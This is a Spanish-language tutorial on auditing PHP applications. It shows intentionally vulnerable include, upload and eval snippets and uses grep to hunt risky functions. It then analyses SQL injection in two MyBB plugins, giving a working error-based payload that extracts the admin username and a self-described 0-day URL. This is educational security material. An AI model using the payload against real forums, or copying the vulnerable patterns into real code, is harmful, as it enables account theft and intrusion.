  • mysql_num_rows – Devuelve el número de filas en el resultado.
  • mysql_result – Obtener datos de resultado.
File Inclusion:
Ejemplo Vulnerable:
———————————————————————————————
<?php

$file = $_GET[‘file’];
if(isset($file))
{
include(“pages/$file”);
}
else
{
include(“index.php”);
}
?>
———————————————————————————————

  • include()
  • require()

Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).

Upload:
———————————————————————————————
<?php
$target_path = “uploads/”;
$target_path = $target_path . basename($_FILES[‘uploadedfile’][‘name’]);
if (move_uploaded_file($_FILES[‘uploadedfile’][‘tmp_name’], $target_path)) {
echo “The file ” . basename($_FILES[‘uploadedfile’][‘name’]) . ” has been uploaded”;
} else {
echo “There was an error uploading the file, please try again!”;
}
?>
———————————————————————————————

  • $_FILES
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.
Code Execution:
———————————————————————————————
<?php
$myvar = “varname”;
$x = $_GET[‘arg’];
eval(“\$myvar = \$x;”);
?>
———————————————————————————————

  • passthru()
  • system()
  • eval()
  • exec()

3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como “Proyectos” (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

———————————————————————————————
<?php
$header = $_GET[‘header’];
if(isset($header))
{
include(“headers/$header”);
}
else
{
include(“headers/standard.php”);
}

$id = $_GET[‘id’];
$news = mysql_query( “SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3” );
?>
———————————————————————————————

Podríamos usar una línea de comandos:
———————————————————————————————
$ grep _GET app.php
———————————————————————————————

Salida:
———————————————————————————————
$header = $_GET[‘header’];
$id = $_GET[‘id’];
———————————————————————————————

Encontrar funciones mysql_*:
———————————————————————————————
grep include app.php
———————————————————————————————
Salida:
———————————————————————————————
include(“headers/$header”);
include(“headers/standard.php”);
———————————————————————————————
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
———————————————————————————————
grep include *.php
———————————————————————————————
Salida:
———————————————————————————————
app2.php: include(“headers/$header”);
app2.php: include(“headers/standard.php”);
app3.php: include(“headers/$header”);
app3.php: include(“headers/standard.php”);
app.php: include(“headers/$header”);
app.php: include(“headers/standard.php”);
———————————————————————————————
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
———————————————————————————————
grep include *.php -n
———————————————————————————————
Salida:
———————————————————————————————
app2.php:5: include(“headers/$header”);
app2.php:9: include(“headers/standard.php”);
app3.php:5: include(“headers/$header”);
app3.php:9: include(“headers/standard.php”);
app.php:5: include(“headers/$header”);
app.php:9: include(“headers/standard.php”);
———————————————————————————————
Ahora queremos comprobar si las palabras ‘SELECT’ y ‘FROM’ se pueden encontrar:
———————————————————————————————
grep ‘SELECT\|FROM’ app.php -n
———————————————————————————————
Salida:
———————————————————————————————
13:$news = mysql_query( “SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3” );
———————————————————————————————
Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
———————————————————————————————
grep ‘sEleCt\|FroM’ app.php -n -i
———————————————————————————————
Salida:
———————————————————————————————
13:$news = mysql_query( “SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3” );
———————————————————————————————
Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/
4.- AUDITORIA EN EL MUNDO REAL:
Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:
MyBB DyMy User Agent SQL Injection:
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
———————————————————————————————
grep “\$_GET” dymy_ua.php -i -n
grep “\$_GET” dymy_ua.php -i -n
grep “mysql_” dymy_ua.php -i -n
grep “include” dymy_ua.php -i -n
———————————————————————————————
Salida:
Nada util.
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
———————————————————————————————
function dymy_ua_install()
{
global $db;
$db->write_query(“ALTER TABLE “.TABLE_PREFIX.”posts ADD `useragent` VARCHAR(255)”);
}
———————————————————————————————
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
———————————————————————————————
grep “\$db” dymy_ua.php -i -n
———————————————————————————————
——————————————————————————————————————
56: global $db;
58: $db->write_query(“ALTER TABLE “.TABLE_PREFIX.”posts ADD `useragent` VARCHAR(255)”);
63: global $db;
65: if($db->field_exists(“useragent”, “posts”))
75: global $db;
77: $db->delete_query(“templategroups”, “title=’DyMy User Agent Templates'”);
78: $db->write_query(“ALTER TABLE “.TABLE_PREFIX.”posts DROP `useragent`”);
83: global $db;
85: $q = $db->simple_select(“templategroups”, “COUNT(*) as count”, “title = ‘DyMy User Agent'”);
86: $c = $db->fetch_field($q, “count”);
87: $db->free_result($q);
95: $db->insert_query(“templategroups”, $ins);
101: “template” => $db->escape_string(‘ <img src=”images/useragent/os/{$os}.png” alt=”{$os}” title=”{$os_name}”>’),
106: $db->insert_query(“templates”, $ins);
111: “template” => $db->escape_string(‘ <img src=”images/useragent/browser/{$browser}.png” alt=”{$browser}” title=”{$browser_name}”>’),
116: $db->insert_query(“templates”, $ins);
125: global $db;
127: $db->delete_query(“templates”, “title IN(‘DyMyUserAgent_Postbit_OS’, ‘DyMyUserAgent_Postbit_Browser’) AND sid=’-2′”);
——————————————————————————————————————
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:
——————————————————————————————————————
function dymy_ua_deactivate()
{
global $db;
$db->delete_query(“templates”, “title IN(‘DyMyUserAgent_Postbit_OS’, ‘DyMyUserAgent_Postbit_Browser’) AND sid=’-2′”); // Line 27
require_once MYBB_ROOT.”/inc/adminfunctions_templates.php”;
find_replace_templatesets(‘postbit’,”#”.preg_quote(‘{$post[\’icon_browser\’]}{$post[\’icon_os\’]}’).”#”,”,0);
find_replace_templatesets(‘postbit_classic’,”#”.preg_quote(‘{$post[\’icon_browser\’]}{$post[\’icon_os\’]}</td>’).”#”,'</td>’,0);
}
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER[‘HTTP_USER_AGENT’] : $HTTP_SERVER_VARS[‘HTTP_USER_AGENT’];
$data->post_insert_data[‘useragent’] = $useragent;
$data->post_update_data[‘useragent’] = $useragent;
}
function dymy_ua_postbit(&$post)
{
global $templates;
if(isset($post[‘browser’]) && isset($post[‘system’]) && !empty($post[‘browser’]) && !empty($post[‘system’]) && empty($post[‘useragent’]))
{
$os = str_ireplace(“icon_”, “”, $post[‘system’]);
$browser = str_ireplace(“icon_”, “”, $post[‘browser’]);
$browser = preg_replace(“#^linux([a-z])#si”, “$1”, $browser);
}
——————————————————————————————————————
En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:
——————————————————————————————————————
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER[‘HTTP_USER_AGENT’] : $HTTP_SERVER_VARS[‘HTTP_USER_AGENT’];
$data->post_insert_data[‘useragent’] = $useragent;
$data->post_update_data[‘useragent’] = $useragent;
}
——————————————————————————————————————
Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.
Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.
Vamos a ver este lado de nuestro mensaje:
Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:
Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.
Después de algunas pruebas vamos a salir con esta consulta:
——————————————————————————————————————
‘ and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
——————————————————————————————————————
5.- NUEVO 0-DAY – MyFlags MyBB plugins SQL Injection:
La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:
Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:
Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:
Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5′) y pega esto en una nueva pestaña.
Ahora ponga un ‘ después el país:
Salida:
——————————————————————————————————————
MyBB has experienced an internal SQL error and cannot continue.
SQL Error:
1064 – You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”Belgium”’ at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5=’Belgium”
——————————————————————————————————————
Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:
Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.
CRÉDITOS:
Autor: Join7
Saludos.